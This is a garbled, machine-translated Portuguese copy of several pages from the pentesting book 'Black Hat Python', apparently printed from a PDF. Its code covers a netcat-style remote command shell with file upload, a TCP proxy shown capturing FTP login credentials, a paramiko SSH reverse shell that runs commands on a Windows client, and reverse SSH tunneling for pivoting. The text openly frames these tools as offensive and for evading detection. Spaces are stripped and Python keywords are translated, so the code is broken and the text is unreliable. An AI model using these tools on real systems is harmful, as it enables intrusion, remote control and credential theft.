client_senderdef(buffer):

client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

experimentar:
#Ligarparaonossohostdedestino
client.connect((destino,porta))

iflen(buffer):
client.send(buffer)
whileTrue:

#Agoraesperarpordadosdevolta
recv_len=1
resposta=""


enquantorecv_len:

dados =Client.recv(4096)
recv_len=len(dedados)
resposta+=dados

serecv_len<4096:
pausa

respostadeimpresso,

#Esperapormaisentrada
tamporaw_input=("")
tampo+="\n"

#Envilo
client.send(buffer)

exceto:

print"[*]Exception!sair."

#Derrubaraconexo
client.close()

Amaiorpartedestecdigodeveserfamiliarparavocagora.ComeamosporconfiguraronossoobjetodesoqueteTCP
eemseguida,testeparaverserecebemosqualquerentradadestdin.Setudoestiverbem,nsenviamososdadosforade
oalvoremotoereceberdevoltaosdadosatquenohajamaisdadosparareceber.Ns,ento,esperarpor
aindamaisaentradadousurioecontinuaraenviarereceberdadosatqueousuriomataoscript.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 15/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Aquebradelinhaextraanexadoespecificamenteparaanossaentradadousurioparaqueonossoclientesercompatvel
comonossoshelldecomando.Agoravamosseguiremfrenteecriaronossocicloservidorprincipaleumafunodestub
queirlidarcomtantoanossaexecuodocomandoenossoshelldecomandocompleto.
server_loopdef():
metaglobal

#Senenhumalvodefinida,nsescutaremtodasasinterfaces
senolen(target):
target="0.0.0.0"

server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((destino,porta))
server.listen(5)

whileTrue:
client_socket,addr=server.accept()

#Cisodeumathreadparalidarcomonossonovocliente
client_thread=threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()

run_commanddef(comando):

#Apararanovalinha
command=command.rstrip()

#Executarocomandoeobterasadadevolta
experimentar:
output=subprocess.check_output(comando,stderr=subprocesso.
STDOUT,shell=True)
exceto:
output="Falhaaoexecutarocomando.\r\n"

#Enviarasadadevoltaparaocliente
sadaderetorno

Atagora,vocumveteranonacriaodeservidoresTCPcompletocomthreading,porissonovoumergulharao
server_loopfuno.Orun_commandfuno,noentanto,contmumanovabibliotecaquenotem
cobertaainda:osubprocesso.bibliotecasubprocessforneceumapoderosainterfacedecriaodeprocessos
quelhedumnmerodemaneirasdeiniciareinteragircomosprogramasclientes.Nestecaso,estamos
simplesmenteexecutandotudoocomandopassamosem,executlonosistemaoperacionallocal,eretornando
asadadocomandodevoltaparaoclientequeestligadoans.Ocdigodemanipulaodeexceo
vaipegarerrosgenricosevoltarumamensageminformandoqueocomandofalhou.
Agoravamosimplementaralgicaparafazerouploaddearquivos,execuodecomandos,eonossoescudo.
client_handlerdef(client_socket):
globaldeupload
globaldeexecuo
comandoglobal

#Verificarparaupload
iflen(upload_destination):

#Lidoemtodososbyteseescreverparaonossodestino
file_buffer=""

#Manteraleituradedadosatquenoestdisponvel


whileTrue:
data=client_socket.recv(1024)

Senodados:
pausa
outro:
file_buffer+=dados

#Agoratomamosessesbytesetentarescrevlos
experimentar:
file_descriptor=open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()

#Reconhecerqueescreveuoarquivoparafora
client_socket.send("salvoscomsucessoarquivopara
%S\r\n"%upload_destination)
exceto:
client_socket.send("Falhaaosalvararquivopara%s\r\n"%
upload_destination)

#Chequeparaexecuodecomandos
iflen(executar):

#Executarocomando
output=run_command(executar)

client_socket.send(sada)

#Agoravamosparaoutrocicloseumshelldecomandofoisolicitada

seocomando:

whileTrue:
#Mostrarumalinhasimples
client_socket.send("<BHP:#>")

#Agoraquerecebemosatquevejamosumavanodelinha
(teclaEnter)
cmd_buffer=""
enquanto"\n"noemcmd_buffer:
cmd_buffer+=client_socket.recv(1024)

#Enviardevoltaasadadocomando
response=run_command(cmd_buffer)

#Enviardevoltaaresposta
client_socket.send(resposta)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 16/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Nossoprimeiropedaodecdigoresponsvelpordeterminarseanossaferramentaderedeestdefinidoparareceberum
arquivoquandoelerecebeumaligao.Istopodesertilparauploadeexecutarexercciosoupara
instalarmalwareetendoomalwareremoveronossoretornoPython.Primeirovamosreceberosdadosdoarquivo
emumloopparasecertificardequensrecebemostudo,eentonssimplesmenteabrirumidentificadordearquivoegravaro
contedodoarquivo.AWBbandeiragarantequeestamosescrevendooarquivocomomodobinriohabilitado,que
garantequeouploadeescreverumbinrioexecutvelserbemsucedido.Prximoprocessamosnossa
executarfuncionalidade,oquechamaanossaescritoanteriormenterun_commandfunoesimplesmenteenvia
oresultadodevoltaemtodaarede.Nossoltimopedaodecdigomanipulaonossoshelldecomandoselacontinuaa
executarcomandoscomonsenvilasporeenviadevoltaasada.Vocvainotarqueeleestaprocurarum
caracteredenovalinhaparadeterminarquandoprocessarumcomando,oquetornanetcatfriendly.
Noentanto,sevocestconjurandoumclientePythonparafalarcomele,lembresedeadicionaranovalinha
personagem.

Chutarospneus
Agoravamosbrincarcomeleumpoucoparaveralgumasada.Emumterminaloucmd.exeshell,executaronosso
scriptassim:
justin$./bhnet.pylp9999c

Agoravocpodedispararatoutroterminaloucmd.exe,eexecutaronossoscriptemmodocliente.Lembresedisso
nossoscriptestalerdestdinevaifazloatqueomarcadorEOF(EOF)recebido.Enviar
EOF,bateuCTRLDnoseuteclado:
justin$./bhnet.pytlocalhostp9999
<CTRLD>
<BHP:#>lsla
Total32
drwxrxrx4justinequipe13618dedezembro19:45.
drwxrxrx4justinequipe13609dedezembro18:09..
rwxrwxrwt1justinequipe849819dedezembro06:38bhnet.py
rwrr1equipejustin84410dedezembro09:34listing13.py
<BHP:#>pwd
/Users/justin/svn/BHP/code/Chapter2
<BHP:#>

Vocpodeverquensrecebemosdevoltaonossoshelldecomandospersonalizada,eporqueestamosemumhostUnix,ns
podeexecutaralgunscomandoslocaisereceberdevoltaumpoucodesadacomosetivssemosconectadoviaSSHouestavam
nacaixalocalmente.Podemostambmusaronossoclienteparaenviarpedidosobomcaminho,modaantiga:
justin$echone"GET/HTTP/1.1\r\nHost:www.google.com\r\n\r\n"|./bhnet.
pytwww.google.comp80

HTTP/1.1302Encontrada
Localizao:http://www.google.ca/
CacheControl:privada
ContentType:text/htmlcharset=UTF8
P3P:CP="EstanoumapolticaP3PVejahttp://www.google.com/support/!
contas/bin/answer.py?hl=en&answer=151657paraobtermaisinformaes."
Data:Wed,19dez201213:22:55GMT
Servidor:gws
ContentLength:218
XXSSProtection:1mode=block
XFrameOptions:SAMEORIGIN

<HTML><HEAD><metahttpequiv="ContentType""text/htmlcharset=utf8"content=>
<TITLE>302Movido</TITLE></HEAD><BODY>
<H1>302Movido</H1>
Odocumentopassou
<AHREF="http://www.google.ca/">aqui</A>.
</BODY></HTML>
[*]Exception!Sair.

justin$

Aiest!Noumatcnicasupertcnico,masumaboabasesobrecomocortarjuntos
algumastomadasdeclienteeservidoremPythoneuslosparaomal.claro,osfundamentosque
vocmaisprecisa:usesuaimaginaoparaexpandiroumelhorar.Emseguida,vamosconstruirumproxyTCP,que
tilemqualquernmerodecenriosofensivas.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 17/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ConstruindoumProxyTCP
HumasriederazesparaterumproxyTCPemseucintodeferramentas,tantoparaoencaminhamentodetrfegopara
saltardeumhospedeiroparaoutro,mastambmquandoseavaliasoftwarebaseadoemrede.aorealizar
testesdepenetraoemambientescorporativos,vocvaicomumenteserconfrontadocomofatodequevocnopodeexecutar
Wireshark,quevocnopodecarregarosdriversparacheiraraloopbacknoWindows,ouquearede
segmentaoimpedevocdeexecutarsuasferramentasdiretamentecontraoseuhostdedestino.Euterempregadoum
proxydePythonsimplesemumnmerodecasosparaajudaraentenderosprotocolosdesconhecidos,modificarsertrfego
enviadoparaumaaplicao,ecriarcasosdetesteparafuzzers.Vamoschegaraele.
sysimportao
tomadadeimportao
rosqueamentodeimportao
defserver_loop(local_host,local_port,remote_host,remote_port,receive_first):

server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

experimentar:
server.bind((local_host,local_port))
exceto:
print"[!!]Falhaaoescutarem%s:%d"%(local_host,local_
porta)
print"[!!]Verifiquesehoutrossoquetesdeescutaoucorreta
permisses".
sys.exit(0)

print"[*]Ouviron%s:%d"%(local_host,local_port)

server.listen(5)

whileTrue:
client_socket,addr=server.accept()

#Imprimirasinformaesdeconexolocal
print"[==>]recebidaconexodeentradade%s:%d"%
(Endereo[0],addr[1])

#Iniciarumadiscussoparaconversarcomohostremoto
proxy_thread=threading.Thread(target=proxy_handler,
args=(client_socket,remote_host,remote_port,receive_first))

proxy_thread.start()

defmain():

#Nodelinhadecomandofantasiaanalisaraqui
iflen(sys.argv[1:])!=5:
print"Uso:./proxy.py[localhost][localport][remotehost]
[RemotePort][receive_first]"
print"Exemplo:127.0.0.1./proxy.py900010.12.132.19000True"
sys.exit(0)

#parmetrosdeescutaconfiguraolocal
local_host=sys.argv[1]
local_port=int(sys.argv[2])

#Destinoremotodeconfigurao
remote_host=sys.argv[3]
remote_port=int(sys.argv[4])

#Istodizanossaproxyparaseconectarereceberdados
#Antesdeenviarparaohostremoto
receive_first=sys.argv[5]

Se"True"emreceive_first:
receive_first=True
outro:
receive_first=False

#Agoragirarnossasoquetedeescuta
server_loop(local_host,local_port,remote_host,remote_port,receive_first)

aPrincipal()

Amaiorpartedestedeveparecerfamiliar:quetomamosemalgunsargumentosdelinhadecomandoe,emseguida,dispararumservidor
loopqueatendeaconexes.Quandoumasolicitaodeconexofrescoentra,nsentregloaonosso
proxy_handler,quefaztudodeoenvioerecebimentodesuculentospedaosdeambososladosdeadados
corrente.
Vamosmergulharnoproxy_handlerfunoagoraadicionandooseguintecdigoacimadonossoprincipal
funo.
proxy_handlerdef(client_socket,remote_host,remote_port,receive_first):

#Conectaraohostremoto
remote_socket=socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))

#Receberdadosapartirdaextremidaderemota,senecessrio
sereceive_first:


remote_buffer=receive_from(remote_socket)
hexdump(remote_buffer)

#Enviloparaonossomanipuladorderesposta
remote_buffer=response_handler(remote_buffer)

#Setemosdadosparaenviarparaonossoclientelocal,envilo
iflen(remote_buffer):
print"[<==]Enviando%dbytesparalocalhost".%
len(remote_buffer)
client_socket.send(remote_buffer)
#Agorapermitecicloelerapartirdelocal,
#Enviarparaoremoto,enviarparaolocal,
#Lavagem,lavagem,repita
whileTrue:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 18/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
#Lerdehostlocal
local_buffer=receive_from(client_socket)

iflen(local_buffer):

print"[==>]recebida%dbytesdelocalhost".%Len(local_
amortecedor)
hexdump(local_buffer)

#Enviloparaonossomanipuladordesolicitao
local_buffer=request_handler(local_buffer)

#Enviarosdadosparaohostremoto
remote_socket.send(local_buffer)
imprimir"[==>]Enviadopararemoto."

#Receberdevoltaaresposta
remote_buffer=receive_from(remote_socket)

iflen(remote_buffer):

impresso"[<==]Recebido%dbytesdecontroleremoto."%Len(remote_buffer)
hexdump(remote_buffer)

#Enviarparaonossomanipuladorderesposta
remote_buffer=response_handler(remote_buffer)

#Enviararespostaparaosocketlocal
client_socket.send(remote_buffer)

print"[<==]Enviadoparalocalhost".

#Sehmaisdadosdeambososlados,fecharasconexes
Senolen(local_buffer)ounolen(remote_buffer):
client_socket.close()
remote_socket.close()
print"[*]Nohmaisdados.Fechandoconexes."

pausa

Estafunocontmamaiorpartedalgicaparaoproxy.Paracomear,vamosverificarparasecertificardequeno
precisaprimeiroiniciarumaconexocomosdadossecundriosepedidoremotoantesdeentraremnossoloopprincipal
.Algunsservidoresdaemonsvaiesperarvocparafazerestaprimeira(FTPservidorestipicamenteenviarumabandeiraemprimeirolugar,
porexemplo).Emseguida,usamosonossoreceive_fromfuno,quereutilizarparaambososladosda
comunicaoelesimplesmentelevaemumobjetodesocketconectadoeexecutaumrecebimento.Emseguida,despejar
ocontedodopacoteparaquepossamosinspecionloparaqualquercoisainteressante.Emseguidansentregarasada
paraanossaresponse_handlerfuno.Dentrodessafuno,vocpodemodificarocontedodopacote,
executartarefasdefuzzing,testeparaproblemasdeautenticao,ouqualqueroutracoisaqueseucoraodeseja.Existeum
cortesiarequest_handlerfunoquefazomesmoparamodificarotrfegodesadatambm.
Oltimopassoenviarobufferrecebidoparaonossoclientelocal.Orestodocdigodeproxy
simples:estamoscontinuamentelidodolocal,processo,enviarparaoremoto,lerapartirremoto,processo,
eenviarparaolocal,atquenohajamaisdadosdetectados.
Vamosjuntospelorestodenossasfunesparacompletaronossoproxy.
#Estaumafunohexdespejobastanteretiradosdirectamente
#OAQUIComentrios:
#http://code.activestate.com/recipes/142812hexdumper/
defhexdump(src,comprimento=16):
result=[]
dgitos=4seisinstance(src,unicode)else2
foriinxrange(0,len(src),comprimento):
s=src[i:i+length]
hexa=b''.join(["%0*X"%(dgitos,ORD(X))paraxems])
text=b''.join([x,se0x20<=ord(x)<0x7Foutrab'.'paraxnos])
result.append(b"%04X%*s%s"%(I,comprimento*(dgitos+1),hexa,
texto))

printb'\n'.join(resultado)

defreceive_from(conexo):

tampo=""

#Nsestabelecemosumsegundotempo2Dependendodasua
#Alvo,estepodenecessitardeserajustada
connection.settimeout(2)

experimentar:
#Manteraleituranobufferat
#Nohmaisdados
#Ouqueotempofora
whileTrue:

data=connection.recv(4096)

Senodados:
pausa

tampo+=dados

exceto:
passar

bufferderetorno

#Modificarquaisquerpedidosdestinadosaohostremoto
defrequest_handler(buffer):
#Realizarmodificaesdepacotes
bufferderetorno

#modificarquaisquerrespostasdestinadosparaolocaldeacolhimento
response_handlerdef(buffer):
#Realizarmodificaesdepacotes
bufferderetorno

Esteopedaofinaldocdigoparacompletaronossoproxy.Primeirocriamosanossafunodedumpinghex
queasadasersimplesmenteosdetalhesdepacotescomambososseusvaloreshexadecimaiseASCIIimprimveis

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 19/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
personagens.Issotilparaacompreensodeprotocolosdesconhecidos,encontrarascredenciaisdousurioemtextosimples
protocolos,emuitomais.Oreceive_fromfunousadotantoparareceberlocale
dadosremotos,enssimplesmentepassaroobjetodesoqueteparaserusado.Porpadro,noumdoissegunda
settimeout,oquepodeseragressivosevocestagindocomoproxyotrfegoparaoutrospasesouaolongolossy
redes(aumentarotempolimitesenecessrio).Orestodafunosimplesmentelidacomarecepodedados
atquemaisdadosdetectadonaoutraextremidadedaligao.Nossasduasltimasfunespermitirlhe
paramodificarqualquertrfegoquedestinadoparaumaououtraextremidadedoproxy.Istopodesertil,porexemplo,se
ascredenciaisdousurioemtextopuroestosendoenviadosevocquertentarelevarprivilgiossobreopedidode
passandoemadministrao,emvezdejustin.Agoraquetemosonossoproxydeconfigurar,vamoslevlaparaumarodada.

Chutarospneus
Agoraquetemosonossociclodeproxyncleoeasfunesdeapoionolugar,vamostestarissocontra
umservidorFTP.Fogoatoproxycomasseguintesopes:
justin$sudo./proxy.py127.0.0.121ftp.target.ca21Verdadeiro

Nsusamossudoaquiporqueaporta21umaportaprivilegiadaeexigeprivilgiosadministrativosouderaiz
afimdeouvirsobreele.AgorapegueoseuclienteFTPfavoritoeconfigurloparausarlocalhosteaporta21comoasua
hostremotoeporta.Claro,vocvaiquererapontaroseuproxyparaumservidorFTPquevairealmente
responderavoc.QuandoeucorriissoemumservidorFTPteste,eutenhooseguinteresultado:
[*]Escutaem127.0.0.1:21
[==>]Recebidaconexodeentradade127.0.0.1:59218
0000 32323020507254506F464420312E332E 220ProFTPD1.3.
0010 33612053657276657220284465626961 3aServer(Debia
0020 6E29205B3A3A666666663A353035372E n)[::ffff:22.22
0030 2E3136382E39335D0D0A .22.22]..
[<==]Enviando58bytesparalocalhost.
[==>]Recebeu12bytesdelocalhost.
0000 555345522074657374790D0A USURIOirritado..
[==>]Enviadopararemoto.
[<==]Recebeu33bytesapartirremoto.
0000 33333120506173737764206F72726571 331reqsenha
0010 7569726564206620746F72657374790D uiredparairritvel.
0020 0A .
[<==]Enviadoparalocalhost.
[==>]Recebeu13bytesdelocalhost.
0000 50415353207465737465720D0A testerPASS..
[==>]Enviadopararemoto.
[*]Nohmaisdados.Fechandoconexes.

VocpodeverclaramentequesomoscapazesderecebercomsucessoabandeiraFTPeenviarumnomedeusurio
esenha,equelimpasaiquandooservidornospontapsporcausadecredenciaisincorretas.

SSHcomparamiko
GirandocomBHNETmuitotil,massvezessbioparacriptografarotrfegoparaevitar
deteco.UmmeiocomumdefazerissotneldotrfegousandoSecureShell(SSH).Masoquese
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 20/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
seualvonotemumclienteSSH(como99,81943porcentodossistemasWindows)?
EmboraexistamgrandesclientesSSHdisponveisparaWindows,comomassadevidraceiro,esteumlivrosobrePython.Dentro
Python,vocpoderiausarsoquetesbrutoseumpoucodemagiadecriptografiaparacriarseuprprioclienteSSHouservidor
masporquecriaquandovocpodereutilizar?ParamikousandoPyCryptolhedacessosimplesparaoSSH2
protocolo.
Parasabermaissobrecomoestabibliotecafunciona,usaremosparamikoparafazerumaconexoeexecutarumcomando
emumsistemaSSH,configurarumservidorSSHeoclienteSSHparaexecutarcomandosremotosemumWindows
mquina,e,finalmente,decifraroficheirotneldemonstraoinversaincludoscomparamikoparaduplicara
opodeproxydeBHNET.Vamoscomear.
Primeiro,pegueparamikousandoinstaladorpip(oubaixlodohttp://www.paramiko.org/):
pipinstalarparamiko

Vamosusaralgunsdosarquivosdedemonstraomaistarde,entocertifiquesedebaixlosnositedaparamiko
tambm.
Criarumnovoarquivochamadobh_sshcmd.pyedigiteoseguinte:
rosqueamentodeimportao
paramikoimportao
subprocessimportao

defssh_command(ip,usurio,passwd,comando):
client=paramiko.SSHClient()


#client.load_host_keys('/home/justin/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip,username=usurio,senha=passwd)
ssh_session=client.get_transport().open_session()
sessh_session.active:
ssh_session.exec_command(comando)
ssh_session.recvimpresso(1024)
Retorna

ssh_command('192.168.100.131','Justin','lovesthepython','id')

Esteumprogramabastantesimples.Nscriamosumafunochamadassh_command,oquetorna
umaconexocomumservidorSSHeexecutaumnicocomando.Observequeparamikosuportes
autenticaocomchavesemvezde(oualm)deautenticaoporsenha.UsandoachaveSSH
autenticaofortementerecomendadanumengatereal,masparafacilidadedeusonesteexemplo,
vamosficarcomotradicionalnomedeusurioesenhadeautenticao.
Porquensestamoscontrolandoambasasextremidadesdestaconexo,vamosdefinirapolticadeaceitarachaveSSHpara
oservidorSSHqueestseconectandoefazeraconexo.Finalmente,assumindoquealigaoest
feito,corremosocomandoquenspassamosaolongodachamadaparaossh_commandfunoemnosso
exemplo,ocomandoid.
Vamosexecutarumtesterpido,ligandoparaonossoservidorLinux:
C:\tmp>pythonbh_sshcmd.py
Uid=1000gid=1001grupos(Justin)(Justin)=1001(justin)

Vocverqueeleseconectae,emseguida,executaocomando.Vocpodefacilmentemodificarestescriptparaserexecutado

vrioscomandosemumservidorSSHoucomandossoexecutadosemvriosservidoresSSH.
Assim,comobsicofeito,vamosmodificarnossoscriptparaapoiaraexecuodecomandossobreonossoclienteWindows
sobreSSH.Claroque,normalmentequandousandoSSH,vocusarumclienteSSHparaseconectaraumservidorSSH,
masporqueoWindowsnoincluiumservidorSSHoutofthebox,precisamosinverterestaeenvi
comandosdonossoservidorSSHparaoclienteSSH.
Criarumnovoarquivochamadobh_sshRcmd.pyedigiteoseguinte:[6]
rosqueamentodeimportao
paramikoimportao
subprocessimportao

ssh_commanddef(ip,usurio,passwd,comando):
client=paramiko.SSHClient()
#client.load_host_keys('/home/justin/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip,username=usurio,senha=passwd)
ssh_session=client.get_transport().open_session()
sessh_session.active:
ssh_session.send(comando)
ssh_session.recvimpresso(1024)#Lerbandeira
whileTrue:
command=ssh_session.recv(1024)#getocomandodoSSH
servidor
experimentar:
cmd_output=subprocess.check_output(comando,shell=True)
ssh_session.send(cmd_output)
salvoexceo,e:
ssh_session.send(str(e))
client.close()
Retorna
ssh_command('192.168.100.130','Justin','lovesthepython','ClientConnected')

AsprimeiraslinhassocomoonossoltimoprogramaeonovomaterialcomeanoenquantoTrue:loop.Tambm
notarqueoprimeirocomandoenviamosClientConnected.Vocverporquequandocriamosooutro
extremidadedaconexoSSH.
Agoracrieumnovoarquivochamadobh_sshserver.pyedigiteoseguinte:
tomadadeimportao
paramikoimportao
rosqueamentodeimportao
sysimportao
#Usandoachavedosarquivosdedemonstraoparamiko
host_key=paramiko.RSAKey(filename='test_rsa.key')

classeServidor(paramiko.ServerInterface):
_init_def(self):
self.eventthreading.Event=()
defcheck_channel_request(self,tipo,chanid):
se'sesso'tipo==:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 21/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
voltarparamiko.OPEN_SUCCEEDED
voltarparamiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
check_auth_passworddef(self,nomedeusurio,senha):
if(nome=='Justin')e(password=='lovesthepython'):
voltarparamiko.AUTH_SUCCESSFUL
voltarparamiko.AUTH_FAILED
server=sys.argv[1]
ssh_port=int(sys.argv[2])
tentar:
meia=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
sock.bind((servidor,ssh_port))
sock.listen(100)
print'[+]escutaparaconexo...'

cliente,addr=sock.accept()
salvoexceo,e:
print'[]Ouafalhou:"+str(e)
sys.exit(1)
print'[+]Temumaligao!'

tentar:
bhSession=paramiko.Transport(cliente)
bhSession.add_server_key(host_key)
server=Server()
experimentar:
bhSession.start_server(server=servidor)
excetoparamiko.SSHException,x:
print'[]negociaoSSHfalhou.'
chan=bhSession.accept(20)
print'[+]autenticados!"
chan.recvimpresso(1024)
chan.send('Bemvindoaobh_ssh')
whileTrue:
experimentar:
command=raw_input("comandoEnter:").strip('\n')
Secommand="sada"!
chan.send(comando)
chan.recvimpresso(1024)+'\n'
outro:
chan.send("sada")
print'sair'
bhSession.close()
levantarException("sada")
excetoKeyboardInterrupt:
bhSession.close()
salvoexceo,e:
print'[]exceoPreso:"+str(e)
experimentar:
bhSession.close()
exceto:
passar
sys.exit(1)

EsteprogramacriaumservidorSSHqueonossoclienteSSH(ondesedesejaexecutarcomandos)conecta
para.EstepoderiaserumLinux,Windows,oumesmosistemaOSXquetemPythoneparamikoinstalado.
Paraesteexemplo,estamosusandoachaveSSHincludasnosarquivosdedemonstraoparamiko.Comeamosumsoquete
ouvinte,talcomofizemosnoinciodocaptulo,edepoisSSHinizequeeconfiguraro
mtodosdeautenticao.QuandoumclientefoiautenticadoeenviounosoClientConnected
Mensagem,qualquercomandoquedigitarnobh_sshserverenviadoparaobh_sshclienteexecutadoem
obh_sshclient,easadadevolvidoaobh_sshserver.Vamosdarumachance.

Chutarospneus
Paraodemo,euvoucorreroservidoreoclientenaminhamquinaWindows(vejaaFigura21).

Figura21.UsandoSSHparaexecutarcomandos

VocpodeverqueoprocessoiniciadoatravsdacriaodenossoservidorSSHe,emseguida,conectandoapartirdenossa
cliente.Oclienteestconectadocomsucessoeexecutarumcomando.Nsnovemosnadaem
oclienteSSH,masocomandoenviamosexecutadonoclienteeasadaenviadoparaonossoSSH
servidor.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 22/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

TunnelingSSH
SSHtunnelingincrvel,maspodeserconfusoparaentendereconfigurar,especialmentequandosetrata
comumtnelSSHinversa.
LembresequeonossoobjectivoemtudoissoparaexecutarcomandosquedigitarumclienteSSHemumSSHremoto
servidor.QuandoseutilizaumtnelSSH,emvezdeserdigitadoscomandosenviadosparaoservidor,otrfegoderede
enviadoempacotadodentrodeSSHedepoisembaladoeentreguepeloservidorSSH.
Imaginequevocestnaseguintesituao:VoctemacessoremotoaumservidorSSHemum
redeinterna,masvocqueroacessoaoservidorwebnamesmarede.Vocnopodeacessaro
servidorwebdiretamente,masoservidorcomSSHinstaladotemacessoeoservidorSSHno
temasferramentasquedesejausarinstaladonele.
UmamaneiradesuperaresseproblemaacriaodeumtnelSSHparaafrente.Sementraremmuitos
detalhe,executandoocomandosshL8008:web:80justin@sshserverirseconectaraossh
servidorcomoousuriojustineconfigurarporta8008emseusistemalocal.Qualquercoisaenviadaparaaporta8008vontade
serenviadospelotnelSSHexistenteparaoservidorSSHeentregueaoservidorweb.Figura22
mostraissoemao.

Figura22.SSHtunnelingparaafrente

Issomuitolegal,maslembrarquenohmuitossistemasWindowsestexecutandoumserviodeservidorSSH.No
tudoestperdido,noentanto.PodemosconfigurarumaconexoSSHtunnelinginverso.Nestecaso,nsconectarse
nossoprprioservidorSSHdoclienteWindowsnaformausual.AtravsdessaconexoSSH,ns
tambmespecificarumaportaremotonoservidorSSHqueserescavadoumtnelparaohosteportalocal(como
mostradonaFigura23).Estamquinaeportalocalpodeserutilizado,porexemplo,paraexporaporta3389
acessarumsistemainternousandodesktopremoto,ouparaoutrosistemaqueoclienteWindowspode
acesso(comooservidorwebnonossoexemplo).

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 23/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura23.SSHtunnelinginverso

Osarquivosdedemonstraoparamikoincluirumarquivochamadorforward.pyquefazexatamenteisso.Elefuncionaperfeitamentecomo
porissonosvaireimprimiressearquivo,maseugostariadesalientaralgunspontosimportanteseexecutaratravsdeuma
exemplodecomouslo.Abrirrforward.py,pularparamain(),eseguiradiante.
defmain():
Opes,servidor,=remotosparse_options()
password=None
seoptions.readpass:
password=getpass.getpass('DigiteasenhaSSH:')


client=paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
detalhado('Ligarparasshhost%s:%d...'%(servidor[0],oservidor[1]))
experimentar:
client.connect(servidor[0],oservidor[1],username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys,password=password)
excetoExceocomoe:
print('***Falhaaoligara%s:%d:%r'%(servidor[0],oservidor[1],e))
sys.exit(1)

detalhado("Agoraoencaminhamentodeportaremoto%dpara%s:%d...'%(options.port,
remoto[0],remoto[1]))

experimentar:
reverse_forward_tunnel(options.port,remoto[0],remoto[1],
client.get_transport())
excetoKeyboardInterrupt:
print('Cc:PortForwardingparado.')
sys.exit(0)

Aspoucaslinhasnotoposegundaverificaoparacertificarsedetodososargumentosnecessriossopassados
parao

roteiroantesdeconfiguraraconexodoclienteParmakioSSH(quedeveolharmuitofamiliar).
Aseofinalnomain()chamaoreverse_forward_tunnelfuno.
Vamosterumolharparaessafuno.
defreverse_forward_tunnel(server_port,remote_host,remote_port,transporte):
transport.request_port_forward('',server_port)
whileTrue:
Chan=transport.accept(1000)
SechanNone:
continuar

thr=threading.Thread(target=manipulador,args=(chan,remote_host,.
remote_port))

thr.setDaemon(True)
thr.start()

Emparamiko,existemdoismtodosdecomunicaoprincipais:transporte,queresponsvelpela
fazeremanteraconexocriptografadaecanal,queatuacomoummeiaparaoenvio
ereceberdadossobreasessodetransportecriptografado.Aquicomeamosausarparamikode
request_port_forwardparatransmitirTCPconexesdeumaportasobreoSSHservidoreiniciarseum
novocanaldetransporte.Ento,aolongodocanal,chamamosomanipuladorfuno.
Masnsaindanoterminamos.
manipuladordef(chan,host,porta):
meia=socket.socket()
experimentar:
sock.connect((host,porta))
excetoExceocomoe:
detalhado("Encaminhamentosolicitaopara%s:%dfalhou:%r'%(host,aportae))
Retorna

'!ConectadoTunnelaberta%r>%r>%r'verbose(%(chan.origin_addr,.
chan.getpeername(),.
(Host,port)))
whileTrue:

R,W,X=select.select([pega,Chan],[],[])
semeianar:
data=sock.recv(1024)
iflen(dados)==0:
pausa
chan.send(dados)
Sechannor:
